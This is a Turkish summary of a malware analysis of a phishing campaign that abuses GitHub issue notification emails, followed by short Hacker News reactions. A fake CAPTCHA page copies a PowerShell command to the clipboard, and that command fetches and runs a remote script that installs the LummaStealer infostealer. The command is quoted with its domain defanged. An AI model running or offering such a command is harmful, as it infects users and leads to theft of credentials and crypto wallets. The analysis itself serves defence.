- Açık kaynak geliştiricisi olarak GitHub'dan sık sık e-posta alıyorum
- E-postaların çoğu, GitHub kullanıcılarının etkileşimlerine dair bildirim e-postalarıdır
- Ancak bazı e-postalar GitHub güvenliği kimliğine bürünerek kötü amaçlı yazılım indirmenizi sağlıyor
Saldırı yöntemi
- Saldırgan, geçici bir GitHub hesabı kullanarak herkese açık depoda bir issue oluşturur
- Saldırgan issue'yu hızla siler
- Depo sahibi bildirim e-postasını alır
- E-postadaki bağlantıya tıklar
- Yönergeleri izleyerek sistemine kötü amaçlı yazılım bulaştırır
E-posta mesajının analizi
- E-postanın içeriğinin büyük bölümü saldırgan tarafından kontrol edilebilir
- E-postada yeni bir issue oluşturulduğuna dair bilgi yoktur
- Saldırgan, "Github Security Team" kimliğine bürünür
- E-posta GitHub üzerinden gönderildiği için phishing kontrollerini geçer
GitHub'ın iyileştirebileceği noktalar
- E-postada daha fazla bağlam sunarak saldırının etkisi azaltılabilir
- Saldırganın kontrol edebildiği içerik azaltılmalı ve gönderen konusunda daha fazla netlik sağlanmalı
Web sitesi
- E-postadaki bağlantı takip edildiğinde bir CAPTCHA sayfasına gidilir
- CAPTCHA sayfası, kullanıcıyı Windows Çalıştır kutusuna komut girmeye yönlendirir
Kötü amaçlı yazılım
- Site şu komutu panoya kopyalar:
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" - Bu komut bir PowerShell süreci başlatır ve script'i indirip çalıştırır
Kötü amaçlı yazılımın aşamaları
- PowerShell komutu üzerinden script indirilip çalıştırılır
- Script kötü amaçlı bir çalıştırılabilir dosya indirir ve çalıştırır
- Çalıştırılabilir dosyanın dijital imzası vardır ama geçerli değildir
- Windows geçersiz imza konusunda uyarı vermez
Windows'un zayıf noktası
- İnternetten indirilen dosyaları tanımlayan "Mark of the Web" (MOTW) bayrağı ayarlanmaz
- .NET Framework'ün
System.Net.WebClientsınıfı MOTW bayrağını ayarlamaz - MOTW bayrağı ayarlanmadığında Windows geçersiz imza konusunda uyarı vermez
Kötü amaçlı yazılım analizi
- Kötü amaçlı yazılım belleğe yüklenerek çalıştırılır
- Bu, kripto para cüzdanları, kayıtlı kimlik bilgileri ve benzerlerini çalan LummaStealer adlı kötü amaçlı yazılımdır
Sonuç
- GitHub bildirim e-postalarındaki zayıflığı kötüye kullanan bir saldırı vakası
- Analiz çeşitli araçlar kullanılarak yapıldı
GN⁺ özeti
- Bu yazı, GitHub bildirim e-postalarını kötüye kullanan bir kötü amaçlı yazılım saldırısı vakasını ele alıyor
- GitHub'ın e-posta sistemindeki zayıflık kullanılarak kötü amaçlı yazılım dağıtıldı
- Windows'un "Mark of the Web" bayrağı ve dijital imza doğrulamasındaki zayıflıklar kullanıldı
- LummaStealer adlı kötü amaçlı yazılım kullanıldı
- Bunlar GitHub ve Microsoft'a bildirilen zayıflıklardır
- Benzer özelliklere sahip başka projeler arasında Cyfirma'nın analiz materyali öneriliyor
1 yorum
Hacker News görüşleri
Kısa süre önce PayPal'dan oldukça ikna edici bir e-posta aldım
İnsanların gerçekten böyle dolandırıcılıklara kanıp kanmadığını merak ediyorum
Junior geliştiriciler böyle dolandırıcılıklara kanabilir gibi görünüyor
Bir web sayfası, yalnızca tıklamayla kopyala/yapıştır panosunu dolduramamalı
Github, otomatik servisler için bağlantıları doğrulamadan issue içine link koyulmasını engellemeli
github-scanner.com'un hâlâ kötü niyetli bir taraf olup olmadığını merak ediyorum
Saldırgan issue'yu hızla silmiş
Güzel bir yazı, Julia Evans'ın bloguna benzer bir hava veriyor
2024'te bile insanların hâlâ en basit numaralara kanıyor olması üzücü
Bu sabah böyle bir bildirim aldım ve görmezden geldim
Okumaya değer, ne yapmaya çalıştıklarını gösteriyor
Benzer bir GitHub bildirim e-postası aldım